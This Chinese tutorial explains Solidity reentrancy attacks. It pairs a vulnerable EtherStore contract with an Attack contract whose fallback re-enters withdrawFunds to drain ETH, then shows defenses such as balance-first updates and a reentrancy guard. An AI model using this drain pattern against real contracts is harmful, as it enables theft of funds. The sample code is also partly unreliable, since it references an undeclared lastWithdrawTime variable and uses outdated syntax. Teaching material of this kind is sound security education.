前言

重入（Reentrancy）攻击是合约攻击中比较常见的攻击手段。黑客利用自己攻击合约中的 fallback() 函数（或者具有回调逻辑的函数）和多余的gas将合约中本不属于自己的 ETH 转走。

重入攻击的本质是：黑客合约在一次交易中不断的回调被攻击合约的函数，造成资产损失。

fallback()

fallback函数，回退函数，是合约里的特殊无名函数，有且仅有一个。

  1. 它在合约调用没有匹配到函数签名被调用；
  2. 调用（call, send, transfer）没有带任何数据时被自动调用;

第一种情况多见于函数调用错误，第二种情况多见于原生币（链币）转账。

我们再来看看官方文档的内容：

如果在一个对合约调用中，没有 selector 匹配，则 fallback 函数会被调用。或者在没有 receive 函数时，而没有提供附加数据对合约调用，那么fallback 函数会被执行。

也就是说，攻击合约不需要实现 receive，只需要将攻击逻辑写在 fallback 中就可以实现 每次 eth 转账后，执行重入攻击逻辑。

合约示例

假设我们有两个合约：存储 eth 的合约、攻击合约。

  • EtherStore.sol
// 假设每个人可以像合约里存储 ETH，每次取款至少为 1 ETH。contract EtherStore {    uint256 public withdrawalLimit = 1 ether;    mapping(address => uint256) public balances;    function depositFunds() public payable {        balances[msg.sender] += msg.value;    }    function withdrawFunds (uint256 _weiToWithdraw) public {    // 5. 因为攻击者的 balance 值没有变化，所以继续执行2.        require(balances[msg.sender] >= _weiToWithdraw);        require(_weiToWithdraw <= withdrawalLimit);        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);                // 2. Transfer ETH        require(msg.sender.call.value(_weiToWithdraw)());        // 这行代码不会被执行        balances[msg.sender] -= _weiToWithdraw;    } }

针对这个合约，攻击者可以不执行 balances[msg.sender] -= _weiToWithdraw;，利用 fallback 函数在攻击合约中将所有 eth 转走。

  • Attack.sol
import "EtherStore.sol";contract Attack {  EtherStore public etherStore;  // 这里的地址就是 EtherStore 的地址  constructor(address _etherStoreAddress) {      etherStore = EtherStore(_etherStoreAddress);  }    function pwnEtherStore() public payable {      require(msg.value >= 1 ether);      // send eth to the depositFunds() function      etherStore.depositFunds.value(1 ether)();      // 1. 调用取款函数，取回1个 ETH      etherStore.withdrawFunds(1 ether);  }    function collectEther() public {      msg.sender.transfer(this.balance);  }      // 3. EtherStore 完成转账后，自动调用 fallback，执行其中逻辑。  function () payable {      if (etherStore.balance > 1 ether) {        // 4. 继续调用取款函数，取回1个 ETH          etherStore.withdrawFunds(1 ether);      }  }}

我们回顾一下上面的步骤从1-5，就能理解重入攻击的原理了。

如何防范

我们发现，重入攻击者是利用合约先转账后赋值，导致函数逻辑未执行完成的漏洞进行攻击的。自然的，我们就有两种防范方法：

  • 先赋值后转账
    对于 EtherStore 的 withdraw 函数做如下更改
    function withdrawFunds (uint256 _weiToWithdraw) public {        require(balances[msg.sender] >= _weiToWithdraw);        require(_weiToWithdraw <= withdrawalLimit);        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);                // 这里改为先赋值，再转账，等于重入第二次的时候，攻击者账目上钱就是减少后的。        balances[msg.sender] -= _weiToWithdraw;        require(msg.sender.call.value(_weiToWithdraw)());    }
  • 创建公有变量，记录每个 caller 进出函数的情况。

这个的原理是记录调用者(caller)的进出记录，检查有没有完整的执行函数逻辑。如果攻击者只有进记录，没有出记录，那么很有可能是在进行重入攻击。

我们常用的 Openzeppelin 就是使用的这个方法来防止重入攻击的，具体可以参考：
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.5.0/contracts/security/ReentrancyGuard.sol

参考文章：
https://www.jianshu.com/p/601c9e759281